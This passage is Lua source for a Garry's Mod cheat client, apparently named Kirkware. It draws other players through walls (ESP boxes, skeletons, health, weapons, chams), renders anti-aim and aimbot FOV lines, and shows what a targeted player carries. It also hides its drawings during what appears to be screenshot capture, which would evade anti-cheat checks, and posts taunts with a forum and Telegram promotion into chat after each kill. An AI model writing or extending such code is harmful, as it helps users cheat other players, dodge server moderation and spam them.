local localPly = LocalPlayer()
local localPos = localPly:GetPos()
local localTeam = localPly:Team()
local playersToDraw = {}
for _, ply in pairs(player.GetAll()) do
if not IsValid(ply) or ply == localPly or not ply:Alive() or ply:IsDormant() then continue end
if config.ignoreDormant and ply:IsDormant() then continue end
if config.espDistance > 0 and localPos:Distance(ply:GetPos()) > config.espDistance then continue end
if config.espVisibleOnly and not IsVisible(ply) then continue end
local skip = false
if config.espHideOnFlags then
if table_contains(config.espHideOnFlags, "Invisible") and (ply:GetNoDraw() or ply:GetColor().a <= 10) then skip = true end
if not skip and table_contains(config.espHideOnFlags, "Sitting") and ply:InVehicle() then skip = true end
if not skip and table_contains(config.espHideOnFlags, "Noclipped") and ply:GetMoveType() == MOVETYPE_NOCLIP then skip = true end
if not skip and table_contains(config.espHideOnFlags, "Godmode") and ply:HasGodMode() then skip = true end
if not skip and table_contains(config.espHideOnFlags, "Builder") and isBuilding(ply) then skip = true end
if not skip and table_contains(config.espHideOnFlags, "Same Team") and ply:Team() == localTeam then skip = true end
end
if not skip then
table.insert(playersToDraw, ply)
end
end
if #playersToDraw == 0 then return end
cam.Start3D(EyePos(), EyeAngles())
-- Draw Invisible Pass
if config.chams.visibleCheck then
local chamMatInvis = GetChamsMaterial(false, true)
cam.IgnoreZ(true)
render.MaterialOverride(chamMatInvis)
render.SuppressEngineLighting(true)
for _, ply in ipairs(playersToDraw) do
local chamColInvis = GUI.GetColor("playerInvisible", ply)
ply:SetRenderMode(1)
render.SetColorModulation(chamColInvis.r / 255, chamColInvis.g / 255, chamColInvis.b / 255)
render.SetBlend(chamColInvis.a / 255)
ply:DrawModel()
end
cam.IgnoreZ(false)
end
-- Draw Visible Pass
local chamMatVis = GetChamsMaterial(false, false)
render.MaterialOverride(chamMatVis)
render.SuppressEngineLighting(true)
for _, ply in ipairs(playersToDraw) do
local chamColVis = GUI.GetColor("playerVisible", ply)
ply:SetRenderMode(1)
render.SetColorModulation(chamColVis.r / 255, chamColVis.g / 255, chamColVis.b / 255)
render.SetBlend(chamColVis.a / 255)
ply:DrawModel()
end
-- Cleanup
render.MaterialOverride(nil)
render.SetColorModulation(1, 1, 1)
render.SetBlend(1)
render.SuppressEngineLighting(false)
cam.End3D()
end)
hook.Add("PostDrawTranslucentRenderables", "fakeakasuperrealangleaa", function()
if ss then return end
if not state.thirdpersonActive or not config.antiAim then return end
local ply = LocalPlayer()
if not IsValid(ply) or not ply:Alive() or not state.lastAA then return end
if not ply:ShouldDrawLocalPlayer() then return end
if state.isFiring then return end
local ghostMat = CustomMats["whiteglow"].vmat
-- Draw real angles (ghost)
render.SetColorModulation(1, 1, 1)
render.SetBlend(0.5)
render.MaterialOverride(ghostMat)
render.SuppressEngineLighting(true)
local oldAng = ply:GetRenderAngles()
local oldPitch = ply:GetPoseParameter("aim_pitch")
local renderAA = Angle(0, state.lastAA.y, 0)
local targetPitch = state.lastAA.p
if targetPitch > 180 then targetPitch = targetPitch - 360 end
targetPitch = math.Clamp(targetPitch, -90, 90)
ply:SetRenderAngles(renderAA)
ply:SetPoseParameter("aim_pitch", targetPitch)
ply:InvalidateBoneCache()
ply:DrawModel()
ply:SetRenderAngles(oldAng)
ply:SetPoseParameter("aim_pitch", oldPitch)
ply:InvalidateBoneCache()
render.SuppressEngineLighting(false)
render.MaterialOverride(nil)
render.SetBlend(1)
end)
hook.Add("UpdateAnimation", "fixrealmodel", function(ply, velocity, maxseqgroundspeed)
if ply == LocalPlayer() and state.thirdpersonActive and config.antiAim then
local viewAng = state.viewAngles or ply:EyeAngles()
ply:SetRenderAngles(Angle(0, viewAng.y, 0))
ply:SetPoseParameter("move_yaw", math.NormalizeAngle(velocity:Angle().y - viewAng.y))
end
end)
local InvisibleMaterial = CreateMaterial("invisible_chams_kirk", "UnlitGeneric", {
["$basetexture"] = "vgui/white_additive",
["$translucent"] = "1",
["$alpha"] = "0",
["$color"] = "[0 0 0]"
})
hook.Add("PreDrawOpaqueRenderables", "playermodelchams", function(depth, skybox)
if ss then return end
if skybox then return end
if not config.chams.enabled or not config.chams.playermodel then return end
local ply = LocalPlayer()
if not IsValid(ply) or not ply:Alive() then return end
render.SetColorModulation(0, 0, 0)
render.SetBlend(0)
render.MaterialOverride(InvisibleMaterial)
render.SuppressEngineLighting(true)
ply:DrawModel()
render.MaterialOverride(nil)
render.SetColorModulation(1, 1, 1)
render.SetBlend(1)
render.SuppressEngineLighting(false)
end)
hook.Add("PostDrawTranslucentRenderables", "playermodelchams_draw", function(depth, skybox)
if ss then return end
if skybox then return end
if not config.chams.enabled or not config.chams.playermodel then return end
local ply = LocalPlayer()
if not IsValid(ply) or not ply:Alive() then return end
local chamCol = config.chams.colors.playermodel
local chamMat = GetChamsMaterial(true, false)
render.SetColorModulation(chamCol.r / 255, chamCol.g / 255, chamCol.b / 255)
render.SetBlend(chamCol.a / 255)
render.MaterialOverride(chamMat)
render.SuppressEngineLighting(true)
cam.IgnoreZ(true)
ply:DrawModel()
cam.IgnoreZ(false)
render.MaterialOverride(nil)
render.SetColorModulation(1, 1, 1)
render.SetBlend(1)
render.SuppressEngineLighting(false)
end)
local function Calculate2DBounds(ent)
local minX, minY = ScrW() * 2, ScrH() * 2
local maxX, maxY = -ScrW(), -ScrH()
local found = false
local count = ent:GetHitBoxCount(0)
if not count or count == 0 then return nil end
for i = 0, count - 1 do
local bone = ent:GetHitBoxBone(i, 0)
if not bone then continue end
local mins, maxs = ent:GetHitBoxBounds(i, 0)
local matrix = ent:GetBoneMatrix(bone)
if not matrix then continue end
local corners = {
Vector(mins.x, mins.y, mins.z),
Vector(mins.x, maxs.y, mins.z),
Vector(mins.x, mins.y, maxs.z),
Vector(mins.x, maxs.y, maxs.z),
Vector(maxs.x, mins.y, mins.z),
Vector(maxs.x, maxs.y, mins.z),
Vector(maxs.x, mins.y, maxs.z),
Vector(maxs.x, maxs.y, maxs.z)
}
for _, corner in ipairs(corners) do
local worldPos = matrix * corner
local screen = worldPos:ToScreen()
if screen.visible then
minX = math.min(minX, screen.x)
minY = math.min(minY, screen.y)
maxX = math.max(maxX, screen.x)
maxY = math.max(maxY, screen.y)
found = true
end
end
end
if not found then return nil end
minX = minX - 2
minY = minY - 2
maxX = maxX + 2
maxY = maxY + 2
return minX, minY, maxX, maxY
end
local function DrawHealthBar(ply, x, y, h)
local barW = 2
local barH = h
local barX = x - 4
local barY = y
surface.SetDrawColor(0, 0, 0, 255)
surface.DrawOutlinedRect(barX - 1, barY - 1, barW + 2, barH + 2)
local hpPct = math.Clamp(ply:Health() / 100, 0, 1)
local fillH = barH * hpPct
local fillY = barY + (barH - fillH)
local hpColor = Color(255 - (hpPct * 255), hpPct * 255, 0)
surface.SetDrawColor(hpColor)
surface.DrawRect(barX, fillY, barW, fillH)
end
local function DrawArmourBar(ply, x, y, h)
local armour = ply:Armor()
if armour <= 0 then return end
local barW = 2
local barH = h
local barX = x - 10
local barY = y
surface.SetDrawColor(0, 0, 0, 255)
surface.DrawOutlinedRect(barX - 1, barY - 1, barW + 2, barH + 2)
local armPct = math.Clamp(armour / 100, 0, 1)
local fillH = barH * armPct
local fillY = barY + (barH - fillH)
surface.SetDrawColor(100, 180, 255, 255)
surface.DrawRect(barX, fillY, barW, fillH)
end
local function Draw3DBox(ply, col)
if not IsValid(ply) then return end
-- If col is nil, try to fetch based on ESP box config directly, or use default
if not col then
col = GUI.GetColor("espBox", ply)
end
local pos = ply:GetPos()
local mins, maxs = ply:GetCollisionBounds()
local corners = {
Vector(mins.x, mins.y, mins.z),
Vector(mins.x, maxs.y, mins.z),
Vector(maxs.x, maxs.y, mins.z),
Vector(maxs.x, mins.y, mins.z),
Vector(mins.x, mins.y, maxs.z),
Vector(mins.x, maxs.y, maxs.z),
Vector(maxs.x, maxs.y, maxs.z),
Vector(maxs.x, mins.y, maxs.z)
}
local screenCorners = {}
for _, corner in ipairs(corners) do
local screenPos = (pos + corner):ToScreen()
table.insert(screenCorners, {x = screenPos.x, y = screenPos.y})
end
local c = col or Color(255, 255, 255, 255)
surface.SetDrawColor(c.r, c.g, c.b, c.a)
for i = 1, 4 do
surface.DrawLine(screenCorners[i].x, screenCorners[i].y, screenCorners[i%4+1].x, screenCorners[i%4+1].y)
surface.DrawLine(screenCorners[i+4].x, screenCorners[i+4].y, screenCorners[i%4+5].x, screenCorners[i%4+5].y)
surface.DrawLine(screenCorners[i].x, screenCorners[i].y, screenCorners[i+4].x, screenCorners[i+4].y)
end
end
local skeletonBoneCache = {}
local skeletonBonePairs = {
{1, 2}, -- Head1 -> Neck1
{2, 3}, -- Neck1 -> Spine4
{3, 4}, -- Spine4 -> Spine2
{4, 5}, -- Spine2 -> Spine1
{5, 6}, -- Spine1 -> Spine
{3, 7}, -- Spine4 -> L_UpperArm
{7, 8}, -- L_UpperArm -> L_Forearm
{8, 9}, -- L_Forearm -> L_Hand
{3, 10}, -- Spine4 -> R_UpperArm
{10, 11}, -- R_UpperArm -> R_Forearm
{11, 12}, -- R_Forearm -> R_Hand
{6, 13}, -- Spine -> L_Thigh
{13, 14}, -- L_Thigh -> L_Calf
{14, 15}, -- L_Calf -> L_Foot
{6, 16}, -- Spine -> R_Thigh
{16, 17}, -- R_Thigh -> R_Calf
{17, 18}, -- R_Calf -> R_Foot
}
local skeletonBoneNames = {
"ValveBiped.Bip01_Head1",
"ValveBiped.Bip01_Neck1",
"ValveBiped.Bip01_Spine4",
"ValveBiped.Bip01_Spine2",
"ValveBiped.Bip01_Spine1",
"ValveBiped.Bip01_Spine",
"ValveBiped.Bip01_L_UpperArm",
"ValveBiped.Bip01_L_Forearm",
"ValveBiped.Bip01_L_Hand",
"ValveBiped.Bip01_R_UpperArm",
"ValveBiped.Bip01_R_Forearm",
"ValveBiped.Bip01_R_Hand",
"ValveBiped.Bip01_L_Thigh",
"ValveBiped.Bip01_L_Calf",
"ValveBiped.Bip01_L_Foot",
"ValveBiped.Bip01_R_Thigh",
"ValveBiped.Bip01_R_Calf",
"ValveBiped.Bip01_R_Foot",
}
local function GetSkeletonBoneIDs(ply)
local model = ply:GetModel()
if skeletonBoneCache[model] then return skeletonBoneCache[model] end
local ids = {}
for i, name in ipairs(skeletonBoneNames) do
ids[i] = ply:LookupBone(name)
end
skeletonBoneCache[model] = ids
return ids
end
local function DrawSkeleton(ply, col)
if not config.espSkeleton then return end
local ids = GetSkeletonBoneIDs(ply)
local c = col or Color(255, 255, 255, 255)
surface.SetDrawColor(c.r, c.g, c.b, c.a)
for _, pair in ipairs(skeletonBonePairs) do
local fromID = ids[pair[1]]
local toID = ids[pair[2]]
if not fromID or not toID then continue end
local fromPos = ply:GetBonePosition(fromID)
local toPos = ply:GetBonePosition(toID)
if not fromPos or not toPos then continue end
local fromScreen = fromPos:ToScreen()
local toScreen = toPos:ToScreen()
if fromScreen.visible and toScreen.visible then
surface.DrawLine(fromScreen.x, fromScreen.y, toScreen.x, toScreen.y)
end
end
end
--------------------------------------------------------------------------------
local damageLogs = {
entries = {},
maxEntries = 6,
height = 24,
padding = 10,
duration = 4,
}
local function AddDamageLog(victimName, damage, remainingHP, isKill)
if not config.hitsound then return end
local entry = {
name = tostring(victimName or "Unknown"),
dmg = tostring(damage or 0),
hp = tostring(remainingHP or 0),
kill = isKill or false,
spawnTime = CurTime(),
dieTime = CurTime() + damageLogs.duration
}
table.insert(damageLogs.entries, 1, entry)
if #damageLogs.entries > damageLogs.maxEntries then
table.remove(damageLogs.entries)
end
end
local function DrawDamageLogs()
if not config.hitsound then return end
if #damageLogs.entries == 0 then return end
local curTime = CurTime()
local centerX = ScrW() / 2
local startY = ScrH() - 150
surface.SetFont("KirkwareFont_Arial")
for i = #damageLogs.entries, 1, -1 do
local log = damageLogs.entries[i]
if curTime > log.dieTime then
table.remove(damageLogs.entries, i)
continue
end
local elapsed = curTime - log.spawnTime
local remaining = log.dieTime - curTime
local alpha = 255
if elapsed < 0.3 then
alpha = (elapsed / 0.3) * 255
elseif remaining < 0.5 then
alpha = (remaining / 0.5) * 255
end
local yOffset = 0
if elapsed < 0.3 then
yOffset = (1 - (elapsed / 0.3)) * 20
end
local totalW, boxW, x, y
local curX
local textY = y -- placeholder for calculation
if log.kill then
local t1 = "Killed "
local t2 = log.name
local w1 = surface.GetTextSize(t1)
local w2 = surface.GetTextSize(t2)
totalW = w1 + w2
boxW = totalW + damageLogs.padding * 2
local boxH = damageLogs.height
x = centerX - (boxW / 2)
y = startY - (i * (boxH + 5)) + yOffset
textY = y + (boxH / 2) - 7
draw.RoundedBox(boxH / 2, x, y, boxW, boxH, Color(0, 0, 0, (alpha / 255) * 220))
curX = x + damageLogs.padding
draw.SimpleText(t1, "KirkwareFont_Arial", curX, textY, Color(220, 210, 230, alpha), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
curX = curX + w1
draw.SimpleText(t2, "KirkwareFont_Arial", curX, textY, Color(168, 100, 220, alpha), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
else
local text_prefix = "Hit "
local text_name = log.name
local text_mid = " ("
local text_hp = log.hp .. " HP Remaining"
local text_suffix = ")"
local w_prefix = surface.GetTextSize(text_prefix)
local w_name = surface.GetTextSize(text_name)
local w_mid = surface.GetTextSize(text_mid)
local w_hp = surface.GetTextSize(text_hp)
local w_suffix = surface.GetTextSize(text_suffix)
totalW = w_prefix + w_name + w_mid + w_hp + w_suffix
boxW = totalW + damageLogs.padding * 2
local boxH = damageLogs.height
x = centerX - (boxW / 2)
y = startY - (i * (boxH + 5)) + yOffset
textY = y + (boxH / 2) - 7
draw.RoundedBox(boxH / 2, x, y, boxW, boxH, Color(0, 0, 0, (alpha / 255) * 220))
curX = x + damageLogs.padding
draw.SimpleText(text_prefix, "KirkwareFont_Arial", curX, textY, Color(220, 210, 230, alpha), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
curX = curX + w_prefix
draw.SimpleText(text_name, "KirkwareFont_Arial", curX, textY, Color(168, 100, 220, alpha), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
curX = curX + w_name
draw.SimpleText(text_mid, "KirkwareFont_Arial", curX, textY, Color(220, 210, 230, alpha), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
curX = curX + w_mid
draw.SimpleText(text_hp, "KirkwareFont_Arial", curX, textY, Color(220, 210, 230, alpha), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
curX = curX + w_hp
draw.SimpleText(text_suffix, "KirkwareFont_Arial", curX, textY, Color(220, 210, 230, alpha), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
end
end
end
local function PlayHitSound(isKill)
if not config.hitsound then return end
local mode = config.hitsound_mode
if mode == "Pop" then
if isKill then
surface.PlaySound("buttons/blip1.wav")
else
surface.PlaySound("garrysmod/balloon_pop_cute.wav")
end
elseif mode == "Rust" then
sound.PlayURL("https://www.kirkware.club/hs/rust.mp3", "noplay", function(station)
if IsValid(station) then station:Play() end
end)
elseif mode == "EXO" then
if isKill then
surface.PlaySound("phx/hmetal1.wav")
else
surface.PlaySound("garrysmod/balloon_pop_cute.wav")
end
elseif mode == "Skeet" then
sound.PlayURL("https://www.kirkware.club/hs/Skeet.mp3", "noplay", function(station)
if IsValid(station) then station:Play() end
end)
elseif mode == "H1Z1" then
sound.PlayURL("https://www.kirkware.club/hs/h1z1.mp3", "noplay", function(station)
if IsValid(station) then station:Play() end
end)
elseif mode == "Minecraft" then
if isKill then
sound.PlayURL("https://www.myinstants.com/media/sounds/levelup.mp3", "noplay", function(station)
if IsValid(station) then station:Play() end
end)
else
sound.PlayURL("https://www.myinstants.com/media/sounds/orb.mp3", "noplay", function(station)
if IsValid(station) then station:Play() end
end)
end
elseif mode == "Sonic" then
sound.PlayURL("https://www.kirkware.club/hs/sonic.mp3", "noplay", function(station)
if IsValid(station) then station:Play() end
end)
end
end
gameevent.Listen("player_hurt")
hook.Add("player_hurt", "DamageLogger", function(data)
local attacker = Player(data.attacker)
local victim = Player(data.userid)
if not IsValid(attacker) or not IsValid(victim) then return end
if attacker ~= LocalPlayer() then return end
if config.hitsound then
if data.health > 0 then
PlayHitSound(false)
local dmg = data.amount or data.dmg_health or 0
AddDamageLog(victim:Nick(), dmg, data.health, false)
end
end
end)
local kewlSession = {
startTime = CurTime(),
kills = 0,
deaths = 0,
}
gameevent.Listen("entity_killed")
hook.Add("entity_killed", "KillLogger", function(data)
local attacker = Entity(data.entindex_attacker)
local victim = Entity(data.entindex_killed)
if not IsValid(attacker) or not IsValid(victim) then return end
if not victim:IsPlayer() then return end
if attacker ~= LocalPlayer() then return end
if config.hitsound then
PlayHitSound(true)
AddDamageLog(victim:Nick(), 0, 0, true)
end
kewlSession.kills = kewlSession.kills + 1
if config.pmShitTalkMode > 1 then
timer.Simple(1.5, function()
if IsValid(victim) then
local message = ""
if config.pmShitTalkMode == 2 then
-- randomized kirk
message = killsays[math.random(#killsays)]
elseif config.pmShitTalkMode == 3 then
-- promotion (epicduck discord)
message = "Kirked by Femboyware - https://forum.pavetr.ru - https://t.me/+Acntt9M54fU5YTkx"
elseif config.pmShitTalkMode == 4 then
-- custom user string
message = config.pmShitTalkCustom
if message == "" then message = "Get kirked!" end
end
RunConsoleCommand("say", " " .. victim:Name() .. " " .. message)
end
end)
end
end)
local kewlWasAlive = true
local _BLACK = Color(0, 0, 0)
local function DrawItemViewer()
if not config.espItemViewer then return end
local ply = LocalPlayer()
if not IsValid(ply) then return end
local bestTarget = nil
local bestDist = math.huge
local scrW, scrH = ScrW(), ScrH()
local centerX, centerY = scrW / 2, scrH / 2
local fovRadius = GetFOVRadius()
for _, target in pairs(player.GetAll()) do
if target ~= ply and target:Alive() and not target:IsDormant() then
local pos = target:GetPos() + target:OBBCenter()
local screenPos = pos:ToScreen()
if screenPos.visible then
local dist = math.sqrt((screenPos.x - centerX)^2 + (screenPos.y - centerY)^2)
if dist <= fovRadius and dist < bestDist then
bestDist = dist
bestTarget = target
end
end
end
end
if IsValid(bestTarget) then
local weapons = bestTarget:GetWeapons()
local validItems = {}
local filter = {
["weapon_physgun"] = true,
["gmod_tool"] = true,
["gmod_camera"] = true,
["weapon_physcannon"] = true,
["weapon_fists"] = true
}
for _, wep in pairs(weapons) do
local class = wep:GetClass()
if not filter[class] and not string.StartWith(class, "ai_") then
table.insert(validItems, GetBeautifiedWeaponName(wep))
end
end
local boxW = 200
local headerH = 24
local itemH = 18
local totalH = headerH + (#validItems * itemH) + 5
local startX = scrW - boxW - 20
local startY = centerY - (totalH / 2)
DrawRect(startX, startY, boxW, totalH, COLORS.bg_main)
DrawOutline(startX, startY, boxW, totalH, COLORS.border)
DrawRect(startX, startY, boxW, headerH, COLORS.bg_panel)
DrawOutline(startX, startY, boxW, headerH, COLORS.border)
DrawRect(startX, startY + headerH - 1, boxW, 1, COLORS.accent)
draw.SimpleText(bestTarget:Nick(), "KirkElement", startX + 10, startY + 5, COLORS.text_bright, TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
local yOff = startY + headerH + 2
if #validItems == 0 then
draw.SimpleText("No Interesting Items", "KirkElement", startX + 10, yOff, COLORS.text_dim, TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
else
for _, item in ipairs(validItems) do
draw.SimpleText(item, "KirkElement", startX + 10, yOff, COLORS.text_normal, TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
yOff = yOff + itemH
end
end
end
end
hook.Add("kirkpaint", "superduperwalls", function()
if ss then return end
local ply = LocalPlayer()
if config.noScopeOverlay then
local wep = ply:GetActiveWeapon()
if IsValid(wep) then
local class = wep:GetClass()
if not string.StartWith(class, "arccw_") and wep.DrawHUD then
wep.DrawHUD = function() end
end
end
end
-- freecam instructions
if state.freecamActive then
local cx, cy = ScrW() / 2, (ScrH() / 2) + 50
draw.SimpleTextOutlined("WASD - Move", "KirkwareFont_Arial", cx, cy, color_white, TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP, 1, color_black)
draw.SimpleTextOutlined("Shift - 2.5x Speed", "KirkwareFont_Arial", cx, cy + 15, color_white, TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP, 1, color_black)
draw.SimpleTextOutlined("Space - Up", "KirkwareFont_Arial", cx, cy + 30, color_white, TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP, 1, color_black)
draw.SimpleTextOutlined("Ctrl - Down", "KirkwareFont_Arial", cx, cy + 45, color_white, TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP, 1, color_black)
end
local centerX, centerY = ScrW() / 2, ScrH() / 2
local fovRadius = GetFOVRadius()
if not config.superSilentAim and config.showFOV then
local fovCol = config.colors.fov or Color(255, 255, 255)
surface.SetDrawColor(fovCol.r, fovCol.g, fovCol.b, fovCol.a)
for i = 0, 360, 3 do
local rad = math.rad(i)
local x1 = centerX + math.cos(rad) * fovRadius
local y1 = centerY + math.sin(rad) * fovRadius
local x2 = centerX + math.cos(math.rad(i + 3)) * fovRadius
local y2 = centerY + math.sin(math.rad(i + 3)) * fovRadius
surface.DrawLine(x1, y1, x2, y2)
end
end
local bestLineTarget = nil
local bestLineScore = -math.huge
local plyPos = ply:EyePos()
local targetsInFOV = 0
local visibleTargets = 0
local flagSet = {}
if config.showESP then
for _, f in ipairs(config.espFlagsSelected) do flagSet[f] = true end
end
local healthSelection = config.espHealthSelection or {"Health Number"}
local showBar = table_contains(healthSelection, "Health Bar")
local showNum = table_contains(healthSelection, "Health Number")
local showNColor = table_contains(healthSelection, "Health Name Color")
local showArmBar = table_contains(healthSelection, "Armour Bar")
local showArmNum = table_contains(healthSelection, "Armour Number")
for _, target in pairs(player.GetAll()) do
if target == ply or not target:Alive() then continue end
if config.ignoreDormant and target:IsDormant() then continue end
local isVis = IsVisible(target)
if config.espVisibleOnly and not isVis then continue end
local skip = false
if config.espHideOnFlags then
if table_contains(config.espHideOnFlags, "Invisible") and (target:GetNoDraw() or target:GetColor().a <= 10) then skip = true end
if not skip and table_contains(config.espHideOnFlags, "Sitting") and target:InVehicle() then skip = true end
if not skip and table_contains(config.espHideOnFlags, "Noclipped") and target:GetMoveType() == MOVETYPE_NOCLIP then skip = true end
if not skip and table_contains(config.espHideOnFlags, "Godmode") and target:HasGodMode() then skip = true end
if not skip and table_contains(config.espHideOnFlags, "Builder") and isBuilding(target) then skip = true end
if not skip and table_contains(config.espHideOnFlags, "Same Team") and target:Team() == ply:Team() then skip = true end
end
if skip then continue end
local friendStatus = config.friends[target:SteamID64() or "BOT"]
-- FOV & AimLine calculations
if not config.superSilentAim and config.showFOV then
local aimPos = GetAimPosition(target)
if IsInFOV(aimPos) then
targetsInFOV = targetsInFOV + 1
if isVis then visibleTargets = visibleTargets + 1 end
if config.aimLine and isVis and friendStatus ~= "Friend" then
if not (config.targetEnemiesOnly and friendStatus ~= "Enemy") and ShouldTargetCN(target) then
local screenPos = aimPos:ToScreen()
local screenDist = math.sqrt((screenPos.x - centerX)^2 + (screenPos.y - centerY)^2)
local score = (1000 / math.max(plyPos:Distance(aimPos), 1)) * (fovRadius / math.max(screenDist, 1))
if score > bestLineScore then
bestLineScore = score
bestLineTarget = target
end
end
end
end
end
-- ESP Drawing
if config.showESP then
if config.espDistance <= 0 or ply:GetPos():DistToSqr(target:GetPos()) <= config.espDistance^2 then
DrawSkeleton(target, GUI.GetColor("espSkeleton", target))
local health = target:Health()
local healthColor = Color(255 - (health * 2.55), health * 2.55, 0)
local minX, minY, maxX, maxY = Calculate2DBounds(target)
if minX then
local width = maxX - minX
local height = maxY - minY
local tCenterX = (minX + maxX) / 2
local rightX = maxX + 2
local currentY = minY
if config.espBox3D then
Draw3DBox(target, GUI.GetColor("espBox", target))
elseif config.espBox then
local boxCol = GUI.GetColor("espBox", target)
surface.SetDrawColor(boxCol.r, boxCol.g, boxCol.b, 255)
surface.DrawOutlinedRect(minX, minY, width, height)
surface.SetDrawColor(0, 0, 0, 255)
surface.DrawOutlinedRect(minX - 1, minY - 1, width + 2, height + 2)
surface.DrawOutlinedRect(minX + 1, minY + 1, width - 2, height - 2)
end
if showBar then DrawHealthBar(target, minX, minY, height) end
if showArmBar then DrawArmourBar(target, minX, minY, height) end
local armour = target:Armor()
local numX = (showArmBar and armour > 0) and (minX - 14) or (minX - 8)
if showNum then
draw.SimpleTextOutlined(health, "KirkwareFont_Arial_Small",
numX, minY, healthColor, TEXT_ALIGN_RIGHT, TEXT_ALIGN_TOP, 1, _BLACK)
end
if showArmNum and armour > 0 then
draw.SimpleTextOutlined(armour, "KirkwareFont_Arial_Small",
numX, minY + 11, Color(100, 180, 255, 255), TEXT_ALIGN_RIGHT, TEXT_ALIGN_TOP, 1, _BLACK)
end
if flagSet["Invisible"] and (target:GetNoDraw() or target:GetColor().a <= 10) then
draw.SimpleTextOutlined("INVIS", "KirkwareFont_Arial_Small", rightX, currentY, Color(255,255,0), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, _BLACK)
currentY = currentY + 11
end
if flagSet["Sitting"] and target:InVehicle() then
draw.SimpleTextOutlined("SITTING", "KirkwareFont_Arial_Small", rightX, currentY, Color(255,165,0), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, _BLACK)
currentY = currentY + 11
end
if flagSet["Noclipped"] and target:GetMoveType() == MOVETYPE_NOCLIP then
draw.SimpleTextOutlined("NOCLIPPED", "KirkwareFont_Arial_Small", rightX, currentY, Color(255,255,0), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, _BLACK)
currentY = currentY + 11
end
if flagSet["Godmode"] and target:HasGodMode() then
draw.SimpleTextOutlined("GODMODE", "KirkwareFont_Arial_Small", rightX, currentY, Color(255,0,0), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, _BLACK)
currentY = currentY + 11
end
if flagSet["Builder"] and isBuilding(target) then
draw.SimpleTextOutlined("BUILDER", "KirkwareFont_Arial_Small", rightX, currentY, Color(255,165,0), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, _BLACK)
currentY = currentY + 11
end
if flagSet["Same Team"] and target:Team() == ply:Team() then
draw.SimpleTextOutlined("SAME TEAM", "KirkwareFont_Arial_Small", rightX, currentY, Color(0,255,0), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, _BLACK)
end
if config.espName then
local nameColorFinal = config.colors.espName
if showNColor then nameColorFinal = healthColor end
if friendStatus == "Friend" then nameColorFinal = Color(0, 255, 0)
elseif friendStatus == "Enemy" then nameColorFinal = Color(255, 0, 0) end
draw.SimpleTextOutlined(target:Nick(), "KirkwareFont_Arial",
tCenterX, minY - 15, nameColorFinal,
TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP, 1, _BLACK)
end
local bottomY = maxY + 2
if config.espUsergroup then
local ug = target:GetUserGroup() or "user"
draw.SimpleTextOutlined(ug, "KirkwareFont_Arial",
tCenterX, bottomY, config.colors.espUsergroup,
TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP, 1, _BLACK)
bottomY = bottomY + 13
end
if config.espTeam then
local tName = team.GetName(target:Team())
local tColor = team.GetColor(target:Team())
draw.SimpleTextOutlined(tName, "KirkwareFont_Arial",
tCenterX, bottomY, tColor,
TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP, 1, _BLACK)
bottomY = bottomY + 13
end
if config.espWeapon then
local wep = target:GetActiveWeapon()
if IsValid(wep) then
draw.SimpleTextOutlined(GetBeautifiedWeaponName(wep), "KirkwareFont_Arial",
tCenterX, bottomY, config.colors.espWeapon,
TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP, 1, _BLACK)
end
end
end
end
end
end
if not config.superSilentAim and config.showFOV then
if IsValid(bestLineTarget) then
local aimPos = GetAimPosition(bestLineTarget)
local screenPos = aimPos:ToScreen()
if screenPos.visible then
local alCol = config.colors.aimLine or Color(255, 255, 255)
surface.SetDrawColor(alCol.r, alCol.g, alCol.b, alCol.a)
surface.DrawLine(centerX, centerY, screenPos.x, screenPos.y)
end
end
end
-- damage logs
DrawDamageLogs()
-- kewl info stuff
if config.kewlInfoStuff then
local blue = Color(168, 100, 220, 220)
local white = Color(230, 126, 218, 220)
local font = "KirkElement"
local x = 14
local lineH = 18
local elapsed = math.floor(CurTime() - kewlSession.startTime)
local h = math.floor(elapsed / 3600)
local m = math.floor((elapsed % 3600) / 60)
local s = elapsed % 60
local timeStr = string.format("%02d:%02d:%02d", h, m, s)
local kd = kewlSession.deaths > 0 and string.format("%.2f", kewlSession.kills / kewlSession.deaths) or tostring(kewlSession.kills)
local centerY = ScrH() / 2 - (lineH * 4) / 2
local rows = {
{"Time played:", timeStr},
{"Kills:", tostring(kewlSession.kills)},
{"Deaths:", tostring(kewlSession.deaths)},
{"K/D:", kd},
}
for i, row in ipairs(rows) do
local y = centerY + (i - 1) * lineH
surface.SetFont(font)
local labelW = surface.GetTextSize(row[1])
draw.SimpleTextOutlined(row[1], font, x, y, white, TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, Color(0,0,0,180))
draw.SimpleTextOutlined(row[2], font, x + labelW + 6, y, blue, TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, Color(0,0,0,180))
end
end
-- item viewer
DrawItemViewer()
-- watermark
if config.infoWatermark ~= "Off" then
if config.infoWatermark == "FemboyBox" then
local localPly = LocalPlayer()
local scrW = ScrW()
local margin = 12
if IsValid(localPly) then
local playerName = localPly:Name()
surface.SetFont("DermaDefault")
local t2 = text2 .. playerName
local text1W = surface.GetTextSize(text1)
local text2W = surface.GetTextSize(t2)
local text3W = surface.GetTextSize(text3)
local requiredWidth = text1W + text2W + text3W + 40
local boxW = math.max(requiredWidth, 280)
local boxH = 38
local boxX = scrW - boxW - margin
local boxY = margin
